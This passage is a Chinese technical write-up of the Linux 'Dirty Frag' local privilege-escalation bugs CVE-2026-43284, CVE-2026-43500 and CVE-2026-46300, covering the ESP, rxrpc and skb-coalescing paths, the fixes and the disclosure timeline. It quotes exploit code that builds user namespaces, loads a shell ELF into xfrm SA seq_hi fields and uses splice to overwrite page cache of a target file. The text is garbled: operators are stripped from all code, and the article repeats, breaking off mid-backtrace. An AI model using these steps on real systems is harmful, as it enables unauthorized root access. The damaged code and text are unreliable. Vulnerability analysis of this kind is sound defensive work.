文章目录简介ipsec esp esn创建SAsplice补丁__ip_append_dataesp_inputCVE-2026-43500CVE-2026-46300总结漏洞纰漏流程参考简介CVE-2026-43284需启用以下configCONFIG_INET_ESP CONFIG_AF_RXRPC # esp模式使用 CONFIG_USER_NS CONFIG_NET_NS CONFIG_XFRM CONFIG_XFRM_USERCVE-2026-43500需启用以下config:CONFIG_CRYPTO_USER_API_SKCIPHER CONFIG_RXKAD CONFIG_CRYPTO_PCBC CONFIG_CRYPTO_FCRYPT这次的漏洞是Copy Fail的延伸漏洞分析过程在Copy Fail已知的关键位置中不再从poc完整分析CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md使用的pocV4bel/dirtyfrag/exp.cpoc中包含两个模式CVE-2026-43284介绍poc的esp模式exp --force-espCVE-2026-43500、CVE-2026-46300的漏洞在CVE-2026-43284基础上高度相似看懂CVE-2026-43284就能秒懂两外两个漏洞的补丁仅主要分析CVE-2026-43284内核代码注释ipsec esp esn参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md文章中的这张图覆盖页面发生在sequence hight覆盖icv部分而ipsec协议中sql_h是双方自己保存的一个状态放在SA安全联盟中SA双方自己保存本次漏洞是发起ipsec实现所以poc的第一步是创建SA将需要覆盖的新消息放到SA的esn-seq_hi位置创建SAIPsec SASecurity Association安全联盟是IPsec对等体间对某些要素的约定例如使用的安全协议、协议报文的封装模式、认证算法、加密算法、特定流中保护数据的共享密钥以及密钥的生存时间等。poc的第一步创建新的ns在新的ns中将普通用户映射成root因为只有rootns中的root也算才可以创建SA/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 102 static void setup_userns_netns(void) { uid_t real_uid getuid(); gid_t real_gid getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) 0) { // 创建ns SLOG(unshare: %s, strerror(errno)); exit(1); } write_proc(/proc/self/setgroups, deny); // 为在新ns中映射uid准备 char map[64]; snprintf(map, sizeof(map), 0 %u 1, real_uid); if (write_proc(/proc/self/uid_map, map) 0) { // 新ns中映射uid为root SLOG(uid_map: %s, strerror(errno)); exit(1); } snprintf(map, sizeof(map), 0 %u 1, real_gid); if (write_proc(/proc/self/gid_map, map) 0) { // 新ns中映射gid SLOG(gid_map: %s, strerror(errno)); exit(1); }接下来不断调用add_xfrm_sa函数创建SAspi 每一条ipsec通道标识 每一条通道里设置一次seqhiseqhi 用来替换的新的值 将会替换用户文件static int corrupt_su(void) { setup_userns_netns(); // 创建ns映射uid、gid /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i 0; i PAYLOAD_LEN / 4; i) { uint32_t spi 0xDEADBE10 i; // 每一条ipsec通道标识 uint32_t seqhi ((uint32_t)shell_elf[i*4 0] 24) | ((uint32_t)shell_elf[i*4 1] 16) | ((uint32_t)shell_elf[i*4 2] 8) | ((uint32_t)shell_elf[i*4 3]); if (add_xfrm_sa(spi, seqhi) 0) { // 新的SA包含指定的spi和seqhi/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 130 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { ...... struct xfrm_usersa_info *xs (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs-id.spi htonl(spi); esn-seq_hi patch_seqhi; ... 创建SA ...splice接下来poc不断创建ipsec通信每次一个报文修改4字节的形式修改文件page cachefor (int i 0; i PAYLOAD_LEN / 4; i) { uint32_t spi 0xDEADBE10 i; off_t off PATCH_OFFSET i * 4; if (do_one_write(TARGET_PATH, off, spi) 0) { SLOG(do_one_write #%d at off0x%lx failed, i, (long)off); return -1; } }修改page cache通过do_one_write函数实现首先是手动构造ipsec esp hdr和16字节的加密数据加密数据是否可解密不重要通过vmsplice引入到管道中这时候的vmsplice虽然是把hdr所在的用户态page引入到pipe中不过不重要用write也一样。/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 257 uint8_t hdr[24]; *(uint32_t*)(hdr 0) htonl(spi); // 4 *(uint32_t*)(hdr 4) htonl(SEQ_VAL); // sn_low memset(hdr 8, 0xCC, 16); // 16 struct iovec iov_h { .iov_base hdr, .iov_len sizeof(hdr) }; if (vmsplice(pfd[1], iov_h, 1, 0) ! (ssize_t)sizeof(hdr)) { // hdr的page放在pipe-buf[pipe-head]中占用pipe的第一个bufssplice需要成对调用第一个发生在这里把文件的page cache引入到pipe的第二个buf中这时候引入16字节相当于icv的大小实现细节参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 267 ssize_t s splice(file_fd, off, pfd[1], NULL, 16, SPLICE_F_MOVE); // 文件的page引入pipe16字节的icv第二个bufssplice成对后面一段splice发生在要把数据写入到socket中/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 271 s splice(pfd[0], NULL, sk_send, NULL, 24 16, SPLICE_F_MOVE); // pipe中的内容发送sk_send中splice根据传入的两端类型由管道到socket会使用splice_to_socket这里完成将管道的page引用打包为socket处理需要的struct msghdr结构给这条msg添加上MSG_SPLICE_PAGESflag这时候文件的page cache正式进入网络模块中。ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg {}; while (len 0) { unsigned int head, tail, mask, bc 0; size_t remain len; // 剩余需要传送的Byte head pipe-head; tail pipe-tail; mask pipe-ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf pipe-bufs[tail mask]; size_t seg; seg min_t(size_t, remain, buf-len); // 一次传送的大小 bvec_set_page(bvec[bc], buf-page, seg, buf-offset); // bv-bv_page page; bv-bv_len len; bv-bv_offset offset; 这里直接传递的page而不是拷贝数据 remain - seg; if (remain 0 || bc ARRAY_SIZE(bvec)) break; tail; } msg.msg_flags MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到 iov_iter_bvec(msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret sock_sendmsg(sock, msg);#0 splice_to_socket (pipeoptimized out, out0xffff8880056bce00, pposoptimized out, len40, flags1) at fs/splice.c:879 #1 0xffffffff8138bcfc in do_splice_from (flags72425472, len40, ppos0xffffc900006ffe38, out0xffff8880056bce00, pipe0xffff88800569acc0) at fs/splice.c:933 #2 do_splice (ininentry0xffff888006d3e900, off_inoff_inentry0x0 fixed_percpu_data, outoutentry0xffff8880056bce00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry40, flagsoptimized out, flagsentry1) at fs/splice.c:1292 #3 0xffffffff8138c3f2 in __do_splice (ininentry0xffff888006d3e900, off_inoff_inentry0x0 fixed_percpu_data, outoutentry0xffff8880056bce00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry40, flagsflagsentry1) at fs/splice.c:1370 #4 0xffffffff8138c559 in __do_sys_splice (flags1, len40, off_out0x0 fixed_percpu_data, fd_outoptimized out, off_in0x0 fixed_percpu_data, fd_inoptimized out) at fs/splice.c:1586 #5 __se_sys_splice (flags1, len40, off_out0, fd_outoptimized out, off_in0, fd_inoptimized out) at fs/splice.c:1568 #6 __x64_sys_splice (regsoptimized out) at fs/splice.c:1568poc是用udp承载数据包udp_sendmsg是udp报文入口在这里先组装ip报文再继续发送/root/qemu/linux-6.6.58/net/ipv4/udp.c: 1059 int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len) { skb ip_make_skb(sk, fl4, getfrag, msg, ulen, sizeof(struct udphdr), ipc, rt, cork, msg-msg_flags); // 组装成ip包放到sk中 err PTR_ERR(skb); if (!IS_ERR_OR_NULL(skb)) err udp_send_skb(skb, fl4, cork); // 从这里发送 走到esp_input在组装成ip报文时候flags来自于msg-msg_flags即splice_to_socket: msg.msg_flags MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到这时将msg中的两个page引用转到到skb-frags中表示有两个片段/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags MSG_SPLICE_PAGES) { struct msghdr *msg from; err -EIO; if (WARN_ON_ONCE(copy msg-msg_iter.count)) goto error; err skb_splice_from_iter(skb, msg-msg_iter, copy, sk-sk_allocation); // iter中的page都将引用转移到skb-frags中经过网络层其他处理之后来到了ipsec的大门esp_input负责调整ipsec报文并将报文交给authencesn模块负责认证和解密在esp_input的一开始skb状态如下两个片段区分别是pipe中传入的esp头 ct和icv两个片段-exec p ((struct skb_shared_info *)0xffff8880047fcc40)-nr_frags $4 2 \002 -exec p ((struct skb_shared_info *)0xffff8880047fcc40)-frags $3 {{bv_page 0xffffea000017cdc0, bv_len 16, bv_offset 1208}, {bv_page 0xffffea000017a9c0, bv_len 16, bv_offset 28}esp_input-pskb_may_pull-__pskb_pull_tail刚开始时会先保证头部位于线性区即会将skb_shinfo(skb)-nr_frags[0]的内容拷贝到线性区中skb_shinfo(skb)-nr_frags[0]所在page就不用了skb_shinfo(skb)-nr_frags还剩下文件的page cache一个片段/root/qemu/linux-6.6.58/net/ipv4/esp4.c: 877 static int esp_input(struct xfrm_state *x, struct sk_buff *skb) // ESP 输入处理入口 — 设置 AEAD 解密请求 { if (!pskb_may_pull(skb, sizeof(struct ip_esp_hdr) ivlen)) // 线性区至少有hdr iv的大小esp_input_set_header会直接使用skb指针指向连续区 goto out;/root/qemu/linux-6.6.58/net/core/skbuff.c 2652 void *__pskb_pull_tail(struct sk_buff *skb, int delta) { /* If skb has not enough free space at tail, get new one * plus 128 bytes for future expansions. If we have enough * room at tail, reallocate without expansion only if skb is cloned. */ int i, k, eat (skb-tail delta) - skb-end; if (eat 0 || skb_cloned(skb)) { if (pskb_expand_head(skb, 0, eat 0 ? eat 128 : 0, GFP_ATOMIC)) return NULL; } BUG_ON(skb_copy_bits(skb, skb_headlen(skb), skb_tail_pointer(skb), delta));接下来会处理esp消息启用esn时将seq_h插入到spi和seq_l之间else if (!skb_has_frag_list(skb))判断之后跳过了cow处理也就是将page chache所在的片段通过err skb_to_sgvec(skb, sg, 0, skb-len);交给了sg现在sg中有两个page分别是skb的连续区(包括esp header ct)和page cache。接下来交给authencesn处理最终触发漏洞。assoclen sizeof(struct ip_esp_hdr); // AAD ESP 头spi seq_no 8字节 seqhilen 0; if (x-props.flags XFRM_STATE_ESN) { // 扩展序列号时 AAD 增加 4 字节 12字节 seqhilen sizeof(__be32); assoclen seqhilen; } if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags 1; goto skip_cow; } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里跳过cow修复补丁修复这里 nfrags skb_shinfo(skb)-nr_frags; // page fragment 数量 nfrags; goto skip_cow; } } err skb_cow_data(skb, 0, trailer); if (err 0) goto out; nfrags err; skip_cow: err -ENOMEM; tmp esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 if (!tmp) goto out; ESP_SKB_CB(skb)-tmp tmp; // ((struct esp_skb_cb *)((__skb)-cb[0]))-tmp tmp; seqhi esp_tmp_extra(tmp); // seqhi tmp iv esp_tmp_iv(aead, tmp, seqhilen); // iv tmp 4 req esp_tmp_req(aead, iv); // req align(iv crypto_aead_ivsize(aead)) sg esp_req_sg(aead, req); // sg align(req crypto_aead_reqsize(aead)) esp_input_set_header(skb, seqhi); // esp时修改报文spi sn_l之间插入sn_h原来提前的值保存到seqhiesp_input_restore_header中恢复 sg_init_table(sg, nfrags); err skb_to_sgvec(skb, sg, 0, skb-len); // 将skb数据(包括线性区和frag)引用到 scatterlist if (unlikely(err 0)) { kfree(tmp); goto out; } skb-ip_summed CHECKSUM_NONE; if ((x-props.flags XFRM_STATE_ESN)) aead_request_set_callback(req, 0, esp_input_done_esn, skb); // 恢复header的回调 else aead_request_set_callback(req, 0, esp_input_done, skb); aead_request_set_crypt(req, sg, sg, elen ivlen, iv); // req-src/dst 都是sg原地优化 aead_request_set_ad(req, assoclen); // req-assoclen assoclen; 设置 AAD 长度 12 err crypto_aead_decrypt(req); if (err -EINPROGRESS) goto out; if ((x-props.flags XFRM_STATE_ESN)) esp_input_restore_header(skb); // 恢复修改的报文 err esp_input_done2(skb, err); out: return err; }补丁补丁xfrm: esp: avoid in-place decrypt on shared skb frags修改了两处地方一处是__ip_append_data路径中添加SKBFL_SHARED_FRAG__ip_append_datadiff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index e4790cc7b5c2..5bcd73cbdb41 100644 --- a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c -1233,6 1233,8 static int __ip_append_data(struct sock *sk, if (err 0) goto error; copy err; if (!(flags MSG_NO_SHARED_FRAGS)) skb_shinfo(skb)-flags | SKBFL_SHARED_FRAG; wmem_alloc_delta copy; } else if (!zc) { int i skb_shinfo(skb)-nr_frags;SKBFL_SHARED_FRAGflag是已经存在的flag标记skb中的page是来自于splice这样类似的系统调用sendfile现在也是用的splice/root/qemu/linux-6.6.58/include/linux/skbuff.h: 506 /* This indicates at least one fragment might be overwritten * (as in vmsplice(), sendfile() ...) * If we need to compute a TX checksum, well need to copy * all frags to avoid possible bad checksum */ SKBFL_SHARED_FRAG BIT(1),这里相当于补齐了原本ip数据包处理时应该有的逻辑来自splice引入的flag给skb_shinfo(skb)-flags添上SKBFL_SHARED_FRAGflag/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags MSG_SPLICE_PAGES) { struct msghdr *msg from; err -EIO; if (WARN_ON_ONCE(copy msg-msg_iter.count)) goto error; err skb_splice_from_iter(skb, msg-msg_iter, copy, sk-sk_allocation); // iter中的page都将引用转移到skb-frags中 if (!(flags MSG_NO_SHARED_FRAGS)) skb_shinfo(skb)-flags | SKBFL_SHARED_FRAG; // ((struct skb_shared_info*)(skb-head skb-end))-flags | SKBFL_SHARED_FRAGSKBFL_SHARED_FRAG 标记影响skb的所有frag不是每个frag的私有flag内核这样做的逻辑是只让一个是shared就所有都要cow简化操作。这里的补齐也和其他几个关联CVE有关后面会介绍到esp_input在上面添加好SKBFL_SHARED_FRAG之后esp_input处理ipsec报文时就会不跳过COW复制报文对复制后的报文进行处理diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c index 6dfc0bcdef65..6a5febbdbee4 100644 --- a/net/ipv4/esp4.c b/net/ipv4/esp4.c -873,7 873,8 static int esp_input(struct xfrm_state *x, struct sk_buff *skb) nfrags 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里跳过cow修复补丁修复这里 } else if (!skb_has_frag_list(skb) !skb_has_shared_frag(skb)) { // 现在有SKBFL_SHARED_FRAG后不会跳过cow步骤了 nfrags skb_shinfo(skb)-nr_frags; // page fragment 数量 nfrags; goto skip_cow; } } err skb_cow_data(skb, 0, trailer); // 现在会把frag中的消息拷贝到连续区了 if (err 0) goto out; nfrags err; skip_cow: err -ENOMEM; tmp esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 ...... sg_init_table(sg, nfrags); err skb_to_sgvec(skb, sg, 0, skb-len); // 将skb数据(包括线性区和frag)引用到 scatterliststatic inline bool skb_has_shared_frag(const struct sk_buff *skb) { return skb_is_nonlinear(skb) skb_shinfo(skb)-flags SKBFL_SHARED_FRAG;skb_cow_data-__pskb_pull_tail会将剩余的片段全部拷贝到连续区中/root/qemu/linux-6.6.58/net/core/skbuff.c: 5020 int skb_cow_data(struct sk_buff *skb, int tailbits, struct sk_buff **trailer) { if ((skb_cloned(skb) || skb_shinfo(skb)-nr_frags) !__pskb_pull_tail(skb, __skb_pagelen(skb))) return -ENOMEM;这样icv放到了连续区后续的sg_init_table(sg, nfrags);只有一个page即连续区的page由于本次漏洞收到的影响来自于splice引入的skb_shinfo(skb)-frags故得名dirty frag后面几个CVE都和本次修复有联系CVE-2026-43500rxrpc 模块是其中的 RxRPC 协议实现用于支持远程过程调用。受影响版本中rxrpc_input_call_event() 函数和 rxrpc_verify_response() 函数在处理 DATA/RESPONSE 数据包时仅检查 skb_cloned(skb) 条件来判断是否需要复制 skb。但未克隆但仍携带外部拥有的分页片段通过 splice() 设置 SKBFL_SHARED_FRAG 或链式 skb_has_frag_list()的 skb 会绕过检查直接进入原地解密路径通过 skb_to_sgvec() 将外部 frag 页面绑定到 AEAD/skcipher SGL可能导致敏感数据泄露或内存损坏。修复版本中通过在判断条件中增加 skb_has_frag_list(skb) || skb_has_shared_frag(skb) 检查确保在 skb 携带外部共享片段时也执行 unshare 操作避免在原地解密过程中访问外部共享的内存页面。rxrpc: Also unshare DATA/RESPONSE packets when paged frags are presentdiff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c index fdd683261226c..2b19b252225e5 100644 --- a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c -334,7 334,9 bool rxrpc_input_call_event(struct rxrpc_call *call) if (sp-hdr.type RXRPC_PACKET_TYPE_DATA sp-hdr.securityIndex ! 0 - skb_cloned(skb)) { (skb_cloned(skb) || skb_has_frag_list(skb) || skb_has_shared_frag(skb))) { /* Unshare the packet so that it can be * modified by in-place decryption. */这个漏洞也是因为splice将page cache引入skb-frag中后再被原地优化引入到加密子系统中加密子系统原地读写造成的在CVE-2026-43284的补丁上半部位于__ip_append_data中当时来自splice引入的msg补充到skb中时添加了SKBFL_SHARED_FRAG后rxrpc模块内也做相应的处理继续cow即可修复方案和CVE-2026-43284下半部分在esp_input中的处理如出一辙。CVE-2026-46300net/core/skbuff.c 的 skb_try_coalesce() 函数在转移分页 fragment 时未将 SKBFL_SHARED_FRAG 标志同步传播至目标 skb_shinfo-flags缺陷自 2013 年提交 cef401de7be8 起潜伏。Linux 5.1 引入 espintcp 模块后该缺陷获得可利用的触发路径XFRM ESP-in-TCP 接收路径因 skb_has_shared_frag() 返回错误的 false绕过 skb_cow_data() 写时复制保护对 page cache 映射页面执行 AES-GCM 原地解密将密钥流字节 XOR 写入只读文件的内核页缓存非特权本地用户可借此将 SUID 可执行文件的页缓存副本替换为恶意载荷完成本地提权至 root。net: skbuff: preserve shared-frag marker during coalescingdiff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b5186..9c4e8d331d6db 100644 --- a/net/core/skbuff.c b/net/core/skbuff.c -6200,6 6200,8 bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo-frags, from_shinfo-nr_frags * sizeof(skb_frag_t)); to_shinfo-nr_frags from_shinfo-nr_frags; if (from_shinfo-nr_frags) to_shinfo-flags | from_shinfo-flags SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo-nr_frags 0;CVE-2026-43500的补丁内容和CVE-2026-43284补丁的下半部分高度相似而这个CVE-2026-46300和CVE-2026-43284的上半部分高度相似skb_try_coalesce函数作用于把from包和to包合并合并的过程中把from的SKBFL_SHARED_FRAGflag继承到to中补齐CVE-2026-43284遗漏的合并报文处理。在CVE-2026-31431利用af_alg - authencesn(ipsec的一个功能子集)的基础上CVE-2026-43284完整利用了ipsec协议再度发现漏洞CVE-2026-43500、CVE-2026-46300又在CVE-2026-43284之上继续发现类似漏洞。。。总结flowchart LR A[splice 零拷贝br将文件 page cachebr引入 pipe buffer] -- B[splice pipe→socketbrMSG_SPLICE_PAGESbr进入 skb-frags] B -- C[skb_splice_from_iterbr添加 page 到 frags] C -- D[skb_shinfo-flagsbr缺失 SKBFL_SHARED_FRAG] D -- E[esp_input / rxrpc / skb_try_coalescebr认为 frags 是私有内存] E -- F[skb_to_sgvec → cryptobr原地解密br直接写入 page cache] F -- G[文件内存被改br磁盘未变]三环相扣CVE-2026-43284 上半部ip_output.c补齐 splice 路径中SKBFL_SHARED_FRAG标记的缺失——来自sendfile/vmsplice的 page 被直接放入 skb-frags但没有通知后续处理者这些 page 可能被外部篡改CVE-2026-43284 下半部esp4.c有了标记后ESP 路径的skb_cow_data条件检查!skb_has_shared_frag(skb)命中后强制 copy避免原地解密写入 page cacheCVE-2026-43500rxrpc/call_event.cRxRPC 的 DATA/RESPONSE 解密路径有同样的绕过问题修复模式与 esp4.c 如出一辙——在skb_cloned检查旁增加skb_has_shared_frag检查CVE-2026-46300skbuff.cskb_try_coalesce合并 skb 时未传播SKBFL_SHARED_FRAG标记导致被合并的 skb 丢失 shared 属性ESP-in-TCP 作为新的触发入口Copy Fail (CVE-2026-31431) ── AF_ALG splice 原地解密 → 写 page cache Dirty Frag (CVE-2026-43284 等三个) ── 协议栈 splice 原地解密 → 写 page cache前车之鉴后事之师漏洞纰漏流程2026-04-30: 向 securitykernel.org 提交了关于 esp 漏洞的详细信息以及一个可在多个主要发行版上获取 root 权限的武器化利用程序。2026-04-30: 向 netdev 邮件列表提交了 esp 漏洞的补丁。该问题的信息已公开发布。2026-04-30 (9h): Kuan-Ting Chen 向 securitykernel.org 提交了 esp 漏洞的报告并附带了一个复现程序。2026-05-04: Kuan-Ting Chen 向 netdev 邮件列表提交了 shared-frag 方法补丁。2026-05-07: 补丁已合并到 netdev 树中。2026-05-07: 向 linux-distros 邮件列表提交了关于漏洞和利用程序的详细信息。设置了 5 天的禁运期并达成协议如果第三方在禁运期内将利用程序发布到互联网上Dirty Frag 的利用程序将公开发布。2026-05-07: 详细信息和该漏洞的利用程序被一个无关的第三方公开发布打破了禁令。2026-05-07在获得分发维护者的同意后完全公开了 Dirty Frag并发布了整个 Dirty Frag 文档。2026-05-08: 补丁 f4c50a4034e6 已合并到主线。2026-05-08: 该漏洞被分配了 CVE-2026-43284 编号。内核社区文档“Any exploit code is very helpful and will not be released without consent from the reporter unless it has already been made public.”任何漏洞利用代码都很有帮助未经报告者同意不得发布除非它已经公开。Documentation/process/security-bugs.rst该CVE向 securitykernel.org 提交了 esp 漏洞的报告并附带了一个复现程序导致这个CVE在社区处理、获得CVE编号前被武器化使用。参考Github V4bel/dirtyfragxfrm: esp: avoid in-place decrypt on shared skb frags阿里云漏洞库 Linux kernel xfrm-ESP Dirty Frag 本地提权漏洞CVE-2026-43284CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .mdDocumentation/process/security-bugs.rst阿里云漏洞库 Linux Kernel Fragnesia 本地权限提升漏洞(CVE-2026-46300)阿里云漏洞库 Linux kernel rxrpc模块skb共享碎片处理漏洞(CVE-2026-43500)bilibili 精彩网络技术 10.4 IPSec基本概念、IKE协议rfc4303: IP Encapsulating Security Payload (ESP)
CVE-2026-43284 CVE-2026-43500 CVE-2026-46300 Dirty Frag 漏洞分析 --前车之鉴,后事之师
发布时间:2026/6/9 8:03:06
文章目录简介ipsec esp esn创建SAsplice补丁__ip_append_dataesp_inputCVE-2026-43500CVE-2026-46300总结漏洞纰漏流程参考简介CVE-2026-43284需启用以下configCONFIG_INET_ESP CONFIG_AF_RXRPC # esp模式使用 CONFIG_USER_NS CONFIG_NET_NS CONFIG_XFRM CONFIG_XFRM_USERCVE-2026-43500需启用以下config:CONFIG_CRYPTO_USER_API_SKCIPHER CONFIG_RXKAD CONFIG_CRYPTO_PCBC CONFIG_CRYPTO_FCRYPT这次的漏洞是Copy Fail的延伸漏洞分析过程在Copy Fail已知的关键位置中不再从poc完整分析CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md使用的pocV4bel/dirtyfrag/exp.cpoc中包含两个模式CVE-2026-43284介绍poc的esp模式exp --force-espCVE-2026-43500、CVE-2026-46300的漏洞在CVE-2026-43284基础上高度相似看懂CVE-2026-43284就能秒懂两外两个漏洞的补丁仅主要分析CVE-2026-43284内核代码注释ipsec esp esn参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md文章中的这张图覆盖页面发生在sequence hight覆盖icv部分而ipsec协议中sql_h是双方自己保存的一个状态放在SA安全联盟中SA双方自己保存本次漏洞是发起ipsec实现所以poc的第一步是创建SA将需要覆盖的新消息放到SA的esn-seq_hi位置创建SAIPsec SASecurity Association安全联盟是IPsec对等体间对某些要素的约定例如使用的安全协议、协议报文的封装模式、认证算法、加密算法、特定流中保护数据的共享密钥以及密钥的生存时间等。poc的第一步创建新的ns在新的ns中将普通用户映射成root因为只有rootns中的root也算才可以创建SA/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 102 static void setup_userns_netns(void) { uid_t real_uid getuid(); gid_t real_gid getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) 0) { // 创建ns SLOG(unshare: %s, strerror(errno)); exit(1); } write_proc(/proc/self/setgroups, deny); // 为在新ns中映射uid准备 char map[64]; snprintf(map, sizeof(map), 0 %u 1, real_uid); if (write_proc(/proc/self/uid_map, map) 0) { // 新ns中映射uid为root SLOG(uid_map: %s, strerror(errno)); exit(1); } snprintf(map, sizeof(map), 0 %u 1, real_gid); if (write_proc(/proc/self/gid_map, map) 0) { // 新ns中映射gid SLOG(gid_map: %s, strerror(errno)); exit(1); }接下来不断调用add_xfrm_sa函数创建SAspi 每一条ipsec通道标识 每一条通道里设置一次seqhiseqhi 用来替换的新的值 将会替换用户文件static int corrupt_su(void) { setup_userns_netns(); // 创建ns映射uid、gid /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i 0; i PAYLOAD_LEN / 4; i) { uint32_t spi 0xDEADBE10 i; // 每一条ipsec通道标识 uint32_t seqhi ((uint32_t)shell_elf[i*4 0] 24) | ((uint32_t)shell_elf[i*4 1] 16) | ((uint32_t)shell_elf[i*4 2] 8) | ((uint32_t)shell_elf[i*4 3]); if (add_xfrm_sa(spi, seqhi) 0) { // 新的SA包含指定的spi和seqhi/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 130 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { ...... struct xfrm_usersa_info *xs (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs-id.spi htonl(spi); esn-seq_hi patch_seqhi; ... 创建SA ...splice接下来poc不断创建ipsec通信每次一个报文修改4字节的形式修改文件page cachefor (int i 0; i PAYLOAD_LEN / 4; i) { uint32_t spi 0xDEADBE10 i; off_t off PATCH_OFFSET i * 4; if (do_one_write(TARGET_PATH, off, spi) 0) { SLOG(do_one_write #%d at off0x%lx failed, i, (long)off); return -1; } }修改page cache通过do_one_write函数实现首先是手动构造ipsec esp hdr和16字节的加密数据加密数据是否可解密不重要通过vmsplice引入到管道中这时候的vmsplice虽然是把hdr所在的用户态page引入到pipe中不过不重要用write也一样。/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 257 uint8_t hdr[24]; *(uint32_t*)(hdr 0) htonl(spi); // 4 *(uint32_t*)(hdr 4) htonl(SEQ_VAL); // sn_low memset(hdr 8, 0xCC, 16); // 16 struct iovec iov_h { .iov_base hdr, .iov_len sizeof(hdr) }; if (vmsplice(pfd[1], iov_h, 1, 0) ! (ssize_t)sizeof(hdr)) { // hdr的page放在pipe-buf[pipe-head]中占用pipe的第一个bufssplice需要成对调用第一个发生在这里把文件的page cache引入到pipe的第二个buf中这时候引入16字节相当于icv的大小实现细节参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 267 ssize_t s splice(file_fd, off, pfd[1], NULL, 16, SPLICE_F_MOVE); // 文件的page引入pipe16字节的icv第二个bufssplice成对后面一段splice发生在要把数据写入到socket中/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 271 s splice(pfd[0], NULL, sk_send, NULL, 24 16, SPLICE_F_MOVE); // pipe中的内容发送sk_send中splice根据传入的两端类型由管道到socket会使用splice_to_socket这里完成将管道的page引用打包为socket处理需要的struct msghdr结构给这条msg添加上MSG_SPLICE_PAGESflag这时候文件的page cache正式进入网络模块中。ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg {}; while (len 0) { unsigned int head, tail, mask, bc 0; size_t remain len; // 剩余需要传送的Byte head pipe-head; tail pipe-tail; mask pipe-ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf pipe-bufs[tail mask]; size_t seg; seg min_t(size_t, remain, buf-len); // 一次传送的大小 bvec_set_page(bvec[bc], buf-page, seg, buf-offset); // bv-bv_page page; bv-bv_len len; bv-bv_offset offset; 这里直接传递的page而不是拷贝数据 remain - seg; if (remain 0 || bc ARRAY_SIZE(bvec)) break; tail; } msg.msg_flags MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到 iov_iter_bvec(msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret sock_sendmsg(sock, msg);#0 splice_to_socket (pipeoptimized out, out0xffff8880056bce00, pposoptimized out, len40, flags1) at fs/splice.c:879 #1 0xffffffff8138bcfc in do_splice_from (flags72425472, len40, ppos0xffffc900006ffe38, out0xffff8880056bce00, pipe0xffff88800569acc0) at fs/splice.c:933 #2 do_splice (ininentry0xffff888006d3e900, off_inoff_inentry0x0 fixed_percpu_data, outoutentry0xffff8880056bce00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry40, flagsoptimized out, flagsentry1) at fs/splice.c:1292 #3 0xffffffff8138c3f2 in __do_splice (ininentry0xffff888006d3e900, off_inoff_inentry0x0 